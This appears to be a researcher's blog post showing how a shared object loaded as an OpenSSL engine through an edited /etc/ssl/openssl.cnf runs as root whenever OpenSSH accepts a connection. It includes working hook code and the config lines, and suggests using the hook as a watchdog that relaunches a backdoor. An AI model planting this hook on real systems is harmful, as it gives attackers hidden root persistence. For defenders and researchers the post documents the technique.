OpenSSL Engines for Linux Persistence

So a while back I read a blog post about using OpenSSL engines on Windows as part of a local privesc exploit against a certain VPN client. This got me thinking.

If every time the OpenSSL library is called, an engine gets loaded, that seems like a fairly decent place to persist a process. So I ran an experiment by spinning up a stock Ubuntu server on DigitalOcean.

First, we wrote the following simple hook, and compiled it. All it does is run a shell command using “system” every time it is invoked. The shell command just dumps the environmental variables into a file.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
// gcc -fPIC -shared -ldl -o lib.so lib.c
__attribute__ ((__constructor__))
void dropshell(void){
    system("env >> /tmp/loadedpwned");
//    printf("[+] done!\n");
}

Next, we modified the file /etc/ssl/openssl.conf with a few extra lines. The modification is below. This will have our engine (a shared object) be loaded into openssl every single time the library is called.

# head -n 21 /etc/ssl/openssl.cnf 
#
# OpenSSL example configuration file.
# This is mostly being used for generation of certificate requests.
#

# Note that you can include other files from the main configuration
# file using the .include directive.
#.include filename

openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
backdoor = backdoor_section

[backdoor_section]
engine_id = backdoor
dynamic_path = /root/lib.so
init = 0

We then just left the box alone for like three weeks, and came back to check how often our hook had been called. Over the three weeks, it had been loaded/invoked about 14k times. Pretty much every time it was triggered, it was being called by OpenSSH, and executing as root.

So it turns out that even failed login attempts, or just people making a TCP connection to the SSH server, was causing the library to be loaded and our constructor function to be executed.

What does this mean for persistence? Well, what we effectively have is a way to ensure our code will continuously be executed on the target host, even without us triggering it. We could have it act as a kind of watchdog to ensure another backdoor is always running by relaunching it – though you will want some kind of mutex logic there to prevent filling the process tree with your backdoor.

Implementing a functional backdoor using this is left as an exercise to the reader for now, as I am not yet intending to release my own at this time.

%d bloggers like this: